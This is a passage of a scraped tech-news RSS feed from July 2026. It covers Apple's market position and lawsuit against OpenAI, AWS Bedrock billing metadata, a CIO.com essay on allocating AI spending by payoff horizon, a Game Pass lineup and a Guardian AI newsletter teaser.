<li>Apple is building market share across its entire product range; even memory-driven price inflation doesn’t seem to have dampened demand for its hardware yet.</li>



<li>While Apple had to raise prices, the company’s MacBook Neo remains seriously popular. It’s sitting atop <a href="https://www.amazon.com/Best-Sellers-Laptop-Computers/zgbs/electronics/565108" target="_blank" rel="noreferrer noopener">Amazon’s US best-selling chart</a>, which currently includes six Macs in the top 10. The Neo has <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html" target="_blank">topped this chart</a> since its introduction.</li>



<li>Apple’s iPhone 17 series continues to sell well, with recent market data showing sustained growth. Both <a href="https://counterpointresearch.com/en/insights/china-smartphone-shipments-slip-2-percent-yoy-in-q2-2026">Counterpoint</a> and <a href="https://www.applemust.com/apple-bucks-the-trend-in-china-with-iphone/">IDC</a> tell us that iPhone shipments continue to increase, even as other vendor shipments slide.</li>



<li>IDC analyst Francisco Jeronimo <a href="https://thecorenews.substack.com/p/the-core-appletldr-july-20">recently estimated</a> that Apple’s upcoming foldable iPhone Ultra could grab 29.4% of global folding smartphone sales this year, rising to 34.9% in 2027.</li>



<li>The company’s new <a href="https://www.computerworld.com/article/4188961/these-apple-os-betas-are-just-what-the-believers-wanted.html">27 series of operating systems</a> is attracting a great response as beta testers report that it is already solid, stable, and performing well.</li>



<li>The AI narrative has really changed, with analysts no longer <a href="https://www.computerworld.com/article/4198808/apple-could-run-the-table-on-ai-if-it-does-things-right.html">quite so starry-eyed</a> at the prospects for the big frontier AI firms. Apple’s edge-AI-enabling approach is winning converts.</li>
</ul>



<h2 class="wp-block-heading"><strong>What’s coming up</strong></h2>



<p class="wp-block-paragraph">The company’s <a href="https://www.computerworld.com/article/4198342/apple-widens-openai-trade-secrets-fight-with-preservation-orders.html">newly-filed lawsuit against OpenAI</a> may or may not succeed, but it will certainly help consolidate recognition of the importance of Apple’s designs and intellectual property in whatever hardware emerges from the AI firm. It also means both Apple and OpenAI are already competing in hardware, even though neither company yet offers anything that directly challenges the other. </p>



<p class="wp-block-paragraph">Apple has just set out its stall to brand-loyal fans in a big way and did so before OpenAI gets to woo the same set of customers with a wriggle of its <a href="https://www.computerworld.com/article/3992592/jony-ive-and-openai-plan-bicycles-for-21st-century-minds.html">Jony Ive-tinged talisman</a>.</p>



<p class="wp-block-paragraph">The stage is set for intense competition between the two. Though some say Apple’s needs to improve  employee retention, if it does find proof of efforts to use recruitment to engage in industrial espionage, it’ll be easier to represent its own products as being the OG for new hardware. </p>



<p class="wp-block-paragraph">If nothing else, it means consumers will forever be asking, “If OpenAI’s designers are so good, why did it need to poach them from Apple?” Doubt is a weapon.</p>



<h2 class="wp-block-heading"><strong>Managing perception</strong></h2>



<p class="wp-block-paragraph">It doesn’t matter how the case goes, because there fight is already affecting consumer psychology. It also means that as Ternus prepares to take his seat atop the rainbow-colored Apple throne, we can already size him up. “A man is measured by his enemies,” Joe Abercrombie wrote in “The Trouble With Peace.”</p>



<p class="wp-block-paragraph">Given the proximity of the leadership transition, it’s highly probable that Ternus signed-off on the litigation; in doing so he — and Apple — tell us to expect more of the same. </p>



<p class="wp-block-paragraph">Apple has, rightly or wrongly, decided that OpenAI will become its new existential bugbear, following in the footsteps of Microsoft Windows, Real Networks, Adobe Flash, Android, and Samsung, all of whom have been useful foils against which Apple has been able to build and maintain its identity.</p>



<p class="wp-block-paragraph">Looking at that list, you’d be tempted to believe that nothing much is new. Apple has often defined itself by the enemies it sometimes keeps. What has been will be again, which in this case means even as OpenAI attempts to carve out an identity as a hardware manufacturer delivering solutions to compete with Apple and Google, Ternus’ team’s looks to drive a consensus-shaped wedge into the pro-LLM propaganda. </p>



<p class="wp-block-paragraph">That blow comes as Apple <a href="https://www.computerworld.com/article/4198808/apple-could-run-the-table-on-ai-if-it-does-things-right.html">finally gets its act together around AI</a>, and as the company prepares for a future in which the world’s most-used wearable device also becomes the wearable way to woo Siri AI.</p>



<h2 class="wp-block-heading"><strong>My kingdom come</strong></h2>



<p class="wp-block-paragraph">Rising market share, powerful solutions, an increasingly recognized and respected approach to AI, and an ideological crusade — these details constitute Apple’s place today and are Tim Cook’s coronation gift to Ternus. He’s passing along a strong and hyper-profitable baton that screams of timeliness and relevance even as the company gets set, ready, to go with a year or two of new product designs, new product families, and a <a href="https://www.computerworld.com/article/4104139/the-stage-is-being-set-for-20-years-of-iphone.html">20<sup>th</sup>anniversary iPhone</a>.</p>



<p class="wp-block-paragraph">This is Apple’s party. OpenAI’s name didn’t make the list. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Halo: Campaign Evolved is the star of Xbox Game Pass' 2nd July wave of new games, alongside an original RPG by Game Freak and a classic id Software FPS]]></title>
<description><![CDATA[Microsoft has unveiled the second line-up of games coming and leaving Xbox Game Pass in July 2026. The most notable new additions include Halo: Campaign Evolved, Beast of Reincarnation, and Heretic + Hexen.]]></description>
<link>https://tsecurity.de/de/3684093/windows-tipps/halo-campaign-evolved-is-the-star-of-xbox-game-pass-2nd-july-wave-of-new-games-alongside-an-original-rpg-by-game-freak-and-a-classic-id-software-fps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684093/windows-tipps/halo-campaign-evolved-is-the-star-of-xbox-game-pass-2nd-july-wave-of-new-games-alongside-an-original-rpg-by-game-freak-and-a-classic-id-software-fps/</guid>
<pubDate>Tue, 21 Jul 2026 17:01:51 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft has unveiled the second line-up of games coming and leaving Xbox Game Pass in July 2026. The most notable new additions include Halo: Campaign Evolved, Beast of Reincarnation, and Heretic + Hexen.]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683996/it-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:18:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4199470/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS standardizes more AI billing data to simplify cost analysis]]></title>
<description><![CDATA[AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple found...]]></description>
<link>https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683957/ai-nachrichten/aws-standardizes-more-ai-billing-data-to-simplify-cost-analysis/</guid>
<pubDate>Tue, 21 Jul 2026 16:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AWS has updated AWS Data Exports, its service for generating and managing cost and usage Reports (CURs), to include standardized Amazon Bedrock product metadata, making it easier for enterprise engineering teams to analyze AI usage and spending as they scale AI deployments spanning multiple foundation models.</p>



<p class="wp-block-paragraph">The update extends billing exports with normalized fields for model provider, model name, inference type, inference mode, billing unit and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Bedrock</a> product family, and will enable enterprises to identify which models generated costs and compare spending across providers without relying on custom parsing or normalization of billing records, AWS wrote in a <a href="https://aws.amazon.com/about-aws/whats-new/2026/07/aws-data-exports-amazon-bedrock-product-metadata/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">That reduced reliance on custom parsing will reduce the engineering effort required to analyze billing data, analysts said.</p>



<p class="wp-block-paragraph">“Before the update, a data engineer would typically need to maintain a model ID registry, write regex against usage type strings, or join AWS CloudTrail with CUR to figure out which provider generated which cost,” said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">The new standardized fields “can be the difference between a billing pipeline that needs constant babysitting and one that doesn’t,” Chopra added.</p>



<p class="wp-block-paragraph">That’s because custom parsing logic is more prone to break down or require maintenance when AWS adds new models or updates pricing in Bedrock, said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<h2 class="wp-block-heading">Richer billing data to boost enterprise AI cost governance</h2>



<p class="wp-block-paragraph">Beyond reducing engineering overhead, the update could also help enterprises improve AI cost governance.</p>



<p class="wp-block-paragraph">Before this update FinOps teams struggled to identify which model Bedrock related to because usage type fields were inconsistent, and there was no unified product family name that captured all Bedrock costs in one place, Chopra said.</p>



<p class="wp-block-paragraph">“Now those attributes — model provider, model name, inference type, inference mode, pricing unit — are standardized and available by default. That’s the plumbing work no one talks about, but it’s what makes downstream reporting actually reliable,” Chopra added.</p>



<p class="wp-block-paragraph">This, said Jain, makes it easier to build dashboards showing cost by model, provider, token type or inference mode while also identifying expensive workloads, unusual token growth and opportunities to move to cheaper models or batch processing.</p>



<p class="wp-block-paragraph">It’s a timely update, especially in light of last week’s <a href="https://health.aws.amazon.com/health/status?eventID=arn:aws:health:global::event/BILLING/AWS_BILLING_OPERATIONAL_ISSUE/AWS_BILLING_OPERATIONAL_ISSUE_47B68_BACBD91434F" target="_blank" rel="noreferrer noopener">AWS billing issue</a> that caused some customers to see incorrect cost estimates of services consumed in the AWS Management Console, said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev.</p>



<p class="wp-block-paragraph">“Anything that gives customers clearer, more granular and more trustworthy billing data is welcome when confidence in the numbers has just been shaken. It does not fix what went wrong, but better visibility into where spend is going is exactly what teams want more of after an episode like that,” Bandta added.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



<p class="wp-block-paragraph">Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a <a href="https://virtualizationreview.com/articles/2025/08/19/mit-report-finds-most-ai-business-investments-fail-reveals-genai-divide.aspx">learning and integration gap</a>. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-31-gartner-forecasts-worldwide-genai-spending-to-reach-644-billion-in-2025">Gartner’s own spending forecast</a> notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.</p>



<h2 class="wp-block-heading">The six-month cycle problem</h2>



<p class="wp-block-paragraph">Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.</p>



<p class="wp-block-paragraph">The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.</p>



<p class="wp-block-paragraph">This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring <a href="https://www.mckinsey.com/capabilities/strategy-and-corporate-finance/our-insights/enduring-ideas-the-three-horizons-of-growth">Three Horizons model</a> made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.</p>



<h2 class="wp-block-heading">Subtraction is a strategy</h2>



<p class="wp-block-paragraph">There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are <a href="https://www.ciodive.com/news/AI-project-fail-data-SPGlobal/742590/">abandoned late, without criteria</a>, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.</p>



<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Headaches for Silicon Valley as China chips away at the US’s lead in the AI race]]></title>
<description><![CDATA[Google’s AI struggles scream trouble as new Chinese models (again) throw US tech dominance into questionHello, I’m Blake Montgomery, writing to you after a double-header feature of Christopher Nolan’s The Odyssey and the World Cup final. What a great Sunday. Today in tech, we’re discussing how Ch...]]></description>
<link>https://tsecurity.de/de/3683658/ai-nachrichten/headaches-for-silicon-valley-as-china-chips-away-at-the-uss-lead-in-the-ai-race/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683658/ai-nachrichten/headaches-for-silicon-valley-as-china-chips-away-at-the-uss-lead-in-the-ai-race/</guid>
<pubDate>Tue, 21 Jul 2026 14:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google’s AI struggles scream trouble as new Chinese models (again) throw US tech dominance into question</p><p>Hello, I’m Blake Montgomery, writing to you after a double-header feature of Christopher Nolan’s The Odyssey and the World Cup final. What a great Sunday. Today in tech, we’re discussing how China is chipping away at the US’s lead in the AI race and how Silicon Valley’s workers are taking action to protect their jobs from AI.</p><p><a href="https://www.theguardian.com/us-news/2026/jul/14/new-york-moratorium-ai-datacenters">New York becomes first state to impose one-year pause on new AI datacenters</a></p><p><a href="https://www.theguardian.com/us-news/2026/jul/15/trump-new-york-datacenter-moratorium">Trump rails against New York’s statewide datacenter moratorium</a></p><p><a href="https://www.theguardian.com/australia-news/2026/jul/16/albaneses-ai-blueprint-sparks-calls-for-datacentre-moratorium-until-new-regulations-in-place">Albanese’s AI blueprint sparks calls for datacentre moratorium until new regulations in place</a></p><p><a href="https://www.theguardian.com/fashion/2026/jul/17/adversarial-clothing-are-garments-designed-to-confuse-facial-recognition-systems-about-to-go-mainstream">‘Adversarial clothing’: are garments designed to confuse facial recognition systems about to go mainstream?</a></p><p><a href="https://www.theguardian.com/technology/2026/jul/14/ibm-shares-profit-drop-value">IBM loses quarter of its value as tech giant’s shares plunge and profits falter</a></p><p><a href="https://www.theguardian.com/media/2026/jul/15/teenagers-verdic-britain-social-media-curfew-ban-whats-the-point">‘What’s the point?’ Teenagers give their verdict on Britain’s social media curfew</a></p><p><a href="https://www.theguardian.com/technology/2026/jul/17/amazon-web-services-customers-trillion-dollar-bills-global-glitch">Amazon Web Services customers receive bills for up to $1.5tn after global glitch</a></p><p><a href="https://www.theguardian.com/technology/ng-interactive/2026/jul/16/justin-sun-trump-family-crypto">Trump made $1.4bn from crypto in one year. Is Justin Sun the man who helped him do it?</a></p> <a href="https://www.theguardian.com/technology/2026/jul/20/china-google-ai-race">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Gritt exits stealth with $34 million for robots to build solar plants—then, everything else]]></title>
<description><![CDATA[Gritt is coming out of stealth with $34 million and plan to automate the hardest tasks on construction sites.]]></description>
<link>https://tsecurity.de/de/3683296/it-nachrichten/gritt-exits-stealth-with-34-million-for-robots-to-build-solar-plants-then-everything-else/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683296/it-nachrichten/gritt-exits-stealth-with-34-million-for-robots-to-build-solar-plants-then-everything-else/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Gritt is coming out of stealth with $34 million and plan to automate the hardest tasks on construction sites.]]></content:encoded>
</item>
<item>
